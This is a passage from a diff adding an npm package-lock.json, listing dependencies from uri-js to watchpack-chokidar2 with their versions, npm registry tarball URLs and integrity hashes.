+            "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
+            "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
+            "requires": {
+                "punycode": "^2.1.0"
+            }
+        },
+        "urix": {
+            "version": "0.1.0",
+            "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz",
+            "integrity": "sha512-Am1ousAhSLBeB9cG/7k7r2R0zj50uDRlZHPGbazid5s9rlF1F/QKYObEKSIunSjIOkJZqwRRLpvewjEkM7pSqg=="
+        },
+        "url": {
+            "version": "0.11.0",
+            "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz",
+            "integrity": "sha512-kbailJa29QrtXnxgq+DdCEGlbTeYM2eJUxsz6vjZavrCYPMIFHMKQmSKYAIuUK2i7hgPm28a8piX5NTUtM/LKQ==",
+            "requires": {
+                "punycode": "1.3.2",
+                "querystring": "0.2.0"
+            },
+            "dependencies": {
+                "punycode": {
+                    "version": "1.3.2",
+                    "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz",
+                    "integrity": "sha512-RofWgt/7fL5wP1Y7fxE7/EmTLzQVnB0ycyibJ0OOHIlJqTNzglYFxVwETOcIoJqJmpDXJ9xImDv+Fq34F/d4Dw=="
+                },
+                "querystring": {
+                    "version": "0.2.0",
+                    "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz",
+                    "integrity": "sha512-X/xY82scca2tau62i9mDyU9K+I+djTMUsvwf7xnUX5GLvVzgJybOJf4Y6o9Zx3oJK/LSXg5tTZBjwzqVPaPO2g=="
+                }
+            }
+        },
+        "url-loader": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-1.1.2.tgz",
+            "integrity": "sha512-dXHkKmw8FhPqu8asTc1puBfe3TehOCo2+RmOOev5suNCIYBcT626kxiWg1NBVkwc4rO8BGa7gP70W7VXuqHrjg==",
+            "requires": {
+                "loader-utils": "^1.1.0",
+                "mime": "^2.0.3",
+                "schema-utils": "^1.0.0"
+            },
+            "dependencies": {
+                "json5": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+                    "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+                    "requires": {
+                        "minimist": "^1.2.0"
+                    }
+                },
+                "loader-utils": {
+                    "version": "1.4.0",
+                    "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz",
+                    "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==",
+                    "requires": {
+                        "big.js": "^5.2.2",
+                        "emojis-list": "^3.0.0",
+                        "json5": "^1.0.1"
+                    }
+                },
+                "schema-utils": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
+                    "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
+                    "requires": {
+                        "ajv": "^6.1.0",
+                        "ajv-errors": "^1.0.0",
+                        "ajv-keywords": "^3.1.0"
+                    }
+                }
+            }
+        },
+        "url-parse": {
+            "version": "1.5.10",
+            "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
+            "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==",
+            "requires": {
+                "querystringify": "^2.1.1",
+                "requires-port": "^1.0.0"
+            }
+        },
+        "url-parse-lax": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz",
+            "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=",
+            "requires": {
+                "prepend-http": "^2.0.0"
+            }
+        },
+        "url-to-options": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/url-to-options/-/url-to-options-1.0.1.tgz",
+            "integrity": "sha512-0kQLIzG4fdk/G5NONku64rSH/x32NOA39LVQqlK8Le6lvTF6GGRJpqaQFGgU+CLwySIqBSMdwYM0sYcW9f6P4A=="
+        },
+        "use": {
+            "version": "3.1.1",
+            "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz",
+            "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ=="
+        },
+        "util": {
+            "version": "0.11.1",
+            "resolved": "https://registry.npmjs.org/util/-/util-0.11.1.tgz",
+            "integrity": "sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ==",
+            "requires": {
+                "inherits": "2.0.3"
+            },
+            "dependencies": {
+                "inherits": {
+                    "version": "2.0.3",
+                    "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
+                    "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw=="
+                }
+            }
+        },
+        "util-deprecate": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+            "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8="
+        },
+        "util.promisify": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.1.1.tgz",
+            "integrity": "sha512-/s3UsZUrIfa6xDhr7zZhnE9SLQ5RIXyYfiVnMMyMDzOc8WhWN4Nbh36H842OyurKbCDAesZOJaVyvmSl6fhGQw==",
+            "requires": {
+                "call-bind": "^1.0.0",
+                "define-properties": "^1.1.3",
+                "for-each": "^0.3.3",
+                "has-symbols": "^1.0.1",
+                "object.getownpropertydescriptors": "^2.1.1"
+            }
+        },
+        "utila": {
+            "version": "0.4.0",
+            "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz",
+            "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA=="
+        },
+        "utils-merge": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
+            "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA=="
+        },
+        "uuid": {
+            "version": "3.4.0",
+            "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz",
+            "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A=="
+        },
+        "uvu": {
+            "version": "0.5.6",
+            "resolved": "https://registry.npmjs.org/uvu/-/uvu-0.5.6.tgz",
+            "integrity": "sha512-+g8ENReyr8YsOc6fv/NVJs2vFdHBnBNdfE49rshrTzDWOlUx4Gq7KOS2GD8eqhy2j+Ejq29+SbKH8yjkAqXqoA==",
+            "requires": {
+                "dequal": "^2.0.0",
+                "diff": "^5.0.0",
+                "kleur": "^4.0.3",
+                "sade": "^1.7.3"
+            },
+            "dependencies": {
+                "diff": {
+                    "version": "5.1.0",
+                    "resolved": "https://registry.npmjs.org/diff/-/diff-5.1.0.tgz",
+                    "integrity": "sha512-D+mk+qE8VC/PAUrlAU34N+VfXev0ghe5ywmpqrawphmVZc1bEfn56uo9qpyGp1p4xpzOHkSW4ztBd6L7Xx4ACw=="
+                }
+            }
+        },
+        "v8-compile-cache": {
+            "version": "2.3.0",
+            "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz",
+            "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA=="
+        },
+        "valid-url": {
+            "version": "1.0.9",
+            "resolved": "https://registry.npmjs.org/valid-url/-/valid-url-1.0.9.tgz",
+            "integrity": "sha1-HBRHm0DxOXp1eC8RXkCGRHQzogA="
+        },
+        "validate-npm-package-license": {
+            "version": "3.0.4",
+            "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz",
+            "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==",
+            "requires": {
+                "spdx-correct": "^3.0.0",
+                "spdx-expression-parse": "^3.0.0"
+            }
+        },
+        "value-or-promise": {
+            "version": "1.0.6",
+            "resolved": "https://registry.npmjs.org/value-or-promise/-/value-or-promise-1.0.6.tgz",
+            "integrity": "sha512-9r0wQsWD8z/BxPOvnwbPf05ZvFngXyouE9EKB+5GbYix+BYnAwrIChCUyFIinfbf2FL/U71z+CPpbnmTdxrwBg=="
+        },
+        "vary": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
+            "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg=="
+        },
+        "vendors": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/vendors/-/vendors-1.0.4.tgz",
+            "integrity": "sha512-/juG65kTL4Cy2su4P8HjtkTxk6VmJDiOPBufWniqQ6wknac6jNiXS9vU+hO3wgusiyqWlzTbVHi0dyJqRONg3w=="
+        },
+        "verror": {
+            "version": "1.10.0",
+            "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz",
+            "integrity": "sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw==",
+            "requires": {
+                "assert-plus": "^1.0.0",
+                "core-util-is": "1.0.2",
+                "extsprintf": "^1.2.0"
+            },
+            "dependencies": {
+                "core-util-is": {
+                    "version": "1.0.2",
+                    "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
+                    "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="
+                }
+            }
+        },
+        "vfile": {
+            "version": "5.3.4",
+            "resolved": "https://registry.npmjs.org/vfile/-/vfile-5.3.4.tgz",
+            "integrity": "sha512-KI+7cnst03KbEyN1+JE504zF5bJBZa+J+CrevLeyIMq0aPU681I2rQ5p4PlnQ6exFtWiUrg26QUdFMnAKR6PIw==",
+            "requires": {
+                "@types/unist": "^2.0.0",
+                "is-buffer": "^2.0.0",
+                "unist-util-stringify-position": "^3.0.0",
+                "vfile-message": "^3.0.0"
+            },
+            "dependencies": {
+                "is-buffer": {
+                    "version": "2.0.5",
+                    "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz",
+                    "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ=="
+                }
+            }
+        },
+        "vfile-location": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-4.0.1.tgz",
+            "integrity": "sha512-JDxPlTbZrZCQXogGheBHjbRWjESSPEak770XwWPfw5mTc1v1nWGLB/apzZxsx8a0SJVfF8HK8ql8RD308vXRUw==",
+            "requires": {
+                "@types/unist": "^2.0.0",
+                "vfile": "^5.0.0"
+            }
+        },
+        "vfile-message": {
+            "version": "3.1.2",
+            "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-3.1.2.tgz",
+            "integrity": "sha512-QjSNP6Yxzyycd4SVOtmKKyTsSvClqBPJcd00Z0zuPj3hOIjg0rUPG6DbFGPvUKRgYyaIWLPKpuEclcuvb3H8qA==",
+            "requires": {
+                "@types/unist": "^2.0.0",
+                "unist-util-stringify-position": "^3.0.0"
+            }
+        },
+        "vm-browserify": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.2.tgz",
+            "integrity": "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ=="
+        },
+        "void-elements": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/void-elements/-/void-elements-2.0.1.tgz",
+            "integrity": "sha512-qZKX4RnBzH2ugr8Lxa7x+0V6XD9Sb/ouARtiasEQCHB1EVU4NXtmHsDDrx1dO4ne5fc3J6EW05BP1Dl0z0iung=="
+        },
+        "warning": {
+            "version": "4.0.3",
+            "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz",
+            "integrity": "sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==",
+            "requires": {
+                "loose-envify": "^1.0.0"
+            }
+        },
+        "watchpack": {
+            "version": "1.7.5",
+            "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.7.5.tgz",
+            "integrity": "sha512-9P3MWk6SrKjHsGkLT2KHXdQ/9SNkyoJbabxnKOoJepsvJjJG8uYTR3yTPxPQvNDI3w4Nz1xnE0TLHK4RIVe/MQ==",
+            "requires": {
+                "chokidar": "^3.4.1",
+                "graceful-fs": "^4.1.2",
+                "neo-async": "^2.5.0",
+                "watchpack-chokidar2": "^2.0.1"
+            },
+            "dependencies": {
+                "chokidar": {
+                    "version": "3.5.3",
+                    "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+                    "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+                    "optional": true,
+                    "requires": {
+                        "anymatch": "~3.1.2",
+                        "braces": "~3.0.2",
+                        "fsevents": "~2.3.2",
+                        "glob-parent": "~5.1.2",
+                        "is-binary-path": "~2.1.0",
+                        "is-glob": "~4.0.1",
+                        "normalize-path": "~3.0.0",
+                        "readdirp": "~3.6.0"
+                    }
+                },
+                "fsevents": {
+                    "version": "2.3.2",
+                    "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+                    "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+                    "optional": true
+                },
+                "readdirp": {
+                    "version": "3.6.0",
+                    "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+                    "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+                    "optional": true,
+                    "requires": {
+                        "picomatch": "^2.2.1"
+                    }
+                }
+            }
+        },
+        "watchpack-chokidar2": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/watchpack-chokidar2/-/watchpack-chokidar2-2.0.1.tgz",
+            "integrity": "sha512-nCFfBIPKr5Sh61s4LPpy1Wtfi0HE8isJ3d2Yb5/Ppw2P2B/3eVSEBjKfN0fmHJSK14+31KwMKmcrzs2GM4P0Ww==",
+            "optional": true,
+            "requires": {
+                "chokidar": "^2.1.8"
+            },
+            "dependencies": {
+                "anymatch": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz",
+                    "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==",
+                    "optional": true,
+                    "requires": {
+                        "micromatch": "^3.1.4",
+                        "normalize-path": "^2.1.1"
+                    },
+                    "dependencies": {
+                        "normalize-path": {
+                            "version": "2.1.1",
+                            "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
+                            "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==",
+                            "optional": true,
+                            "requires": {
+                                "remove-trailing-separator": "^1.0.1"
+                            }
+                        }
+                    }
+                },
+                "arr-diff": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
+                    "integrity": "sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA==",
+                    "optional": true
+                },
+                "array-unique": {
+                    "version": "0.3.2",
+                    "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz",
+                    "integrity": "sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ==",
+                    "optional": true
+                },
+                "binary-extensions": {
+                    "version": "1.13.1",
+                    "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.13.1.tgz",
+                    "integrity": "sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw==",
+                    "optional": true
+                },
+                "braces": {
+                    "version": "2.3.2",
+                    "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz",
+                    "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
+                    "optional": true,
+                    "requires": {
+                        "arr-flatten": "^1.1.0",
+                        "array-unique": "^0.3.2",
+                        "extend-shallow": "^2.0.1",
+                        "fill-range": "^4.0.0",
+                        "isobject": "^3.0.1",
+                        "repeat-element": "^1.1.2",
+                        "snapdragon": "^0.8.1",
+                        "snapdragon-node": "^2.0.1",
+                        "split-string": "^3.0.2",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "optional": true,
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "chokidar": {
+                    "version": "2.1.8",
+                    "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz",
+                    "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==",
+                    "optional": true,
+                    "requires": {
+                        "anymatch": "^2.0.0",
+                        "async-each": "^1.0.1",
+                        "braces": "^2.3.2",
+                        "fsevents": "^1.2.7",
+                        "glob-parent": "^3.1.0",
+                        "inherits": "^2.0.3",
+                        "is-binary-path": "^1.0.0",
+                        "is-glob": "^4.0.0",
+                        "normalize-path": "^3.0.0",
+                        "path-is-absolute": "^1.0.0",
+                        "readdirp": "^2.2.1",
+                        "upath": "^1.1.1"
+                    }
+                },
+                "expand-brackets": {
+                    "version": "2.1.4",
+                    "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
+                    "integrity": "sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==",
+                    "optional": true,
+                    "requires": {
+                        "debug": "^2.3.3",
+                        "define-property": "^0.2.5",
+                        "extend-shallow": "^2.0.1",
+                        "posix-character-classes": "^0.1.0",
+                        "regex-not": "^1.0.0",
+                        "snapdragon": "^0.8.1",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "define-property": {
+                            "version": "0.2.5",
+                            "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+                            "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
+                            "optional": true,
+                            "requires": {
+                                "is-descriptor": "^0.1.0"
+                            }
+                        },
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "optional": true,
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        },
+                        "is-accessor-descriptor": {
+                            "version": "0.1.6",
+                            "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+                            "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==",
+                            "optional": true,
+                            "requires": {
+                                "kind-of": "^3.0.2"
+                            },
+                            "dependencies": {
+                                "kind-of": {
+                                    "version": "3.2.2",
+                                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                                    "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                                    "optional": true,
+                                    "requires": {
+                                        "is-buffer": "^1.1.5"
+                                    }
+                                }
+                            }
+                        },
+                        "is-data-descriptor": {
+                            "version": "0.1.4",
+                            "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+                            "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==",
+                            "optional": true,
+                            "requires": {
+                                "kind-of": "^3.0.2"
+                            },
+                            "dependencies": {
+                                "kind-of": {
+                                    "version": "3.2.2",
+                                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                                    "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                                    "optional": true,
+                                    "requires": {
+                                        "is-buffer": "^1.1.5"
+                                    }
+                                }
+                            }
+                        },
+                        "is-descriptor": {
+                            "version": "0.1.6",
+                            "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+                            "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+                            "optional": true,
+                            "requires": {
+                                "is-accessor-descriptor": "^0.1.6",
+                                "is-data-descriptor": "^0.1.4",
+                                "kind-of": "^5.0.0"
+                            }
+                        },
+                        "kind-of": {
+                            "version": "5.1.0",
+                            "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+                            "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
+                            "optional": true
+                        }
+                    }
+                },
+                "extglob": {
+                    "version": "2.0.4",
+                    "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz",
+                    "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
+                    "optional": true,
+                    "requires": {
+                        "array-unique": "^0.3.2",
+                        "define-property": "^1.0.0",
+                        "expand-brackets": "^2.1.4",
+                        "extend-shallow": "^2.0.1",
+                        "fragment-cache": "^0.2.1",
+                        "regex-not": "^1.0.0",
+                        "snapdragon": "^0.8.1",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "define-property": {
+                            "version": "1.0.0",
+                            "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+                            "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
+                            "optional": true,
+                            "requires": {
+                                "is-descriptor": "^1.0.0"
+                            }
+                        },
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "optional": true,
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "fill-range": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz",
+                    "integrity": "sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==",
+                    "optional": true,
+                    "requires": {
+                        "extend-shallow": "^2.0.1",
+                        "is-number": "^3.0.0",
+                        "repeat-string": "^1.6.1",
+                        "to-regex-range": "^2.1.0"
+                    },
+                    "dependencies": {
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "optional": true,
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "fsevents": {
+                    "version": "1.2.13",
+                    "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz",
+                    "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==",
+                    "optional": true,
+                    "requires": {
+                        "nan": "^2.12.1"
+                    }
+                },
+                "glob-parent": {
+                    "version": "3.1.0",
+                    "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz",
+                    "integrity": "sha512-E8Ak/2+dZY6fnzlR7+ueWvhsH1SjHr4jjss4YS/h4py44jY9MhK/VFdaZJAWDz6BbL21KeteKxFSFpq8OS5gVA==",
+                    "optional": true,
+                    "requires": {
+                        "is-glob": "^3.1.0",
+                        "path-dirname": "^1.0.0"
+                    },
+                    "dependencies": {
+                        "is-glob": {
+                            "version": "3.1.0",
+                            "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz",
+                            "integrity": "sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==",
+                            "optional": true,
+                            "requires": {
+                                "is-extglob": "^2.1.0"
+                            }
+                        }
+                    }
+                },
+                "is-accessor-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+                    "optional": true,
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-binary-path": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz",
+                    "integrity": "sha512-9fRVlXc0uCxEDj1nQzaWONSpbTfx0FmJfzHF7pwlI8DkWGoHBBea4Pg5Ky0ojwwxQmnSifgbKkI06Qv0Ljgj+Q==",
+                    "optional": true,
+                    "requires": {
+                        "binary-extensions": "^1.0.0"
+                    }
+                },
+                "is-data-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
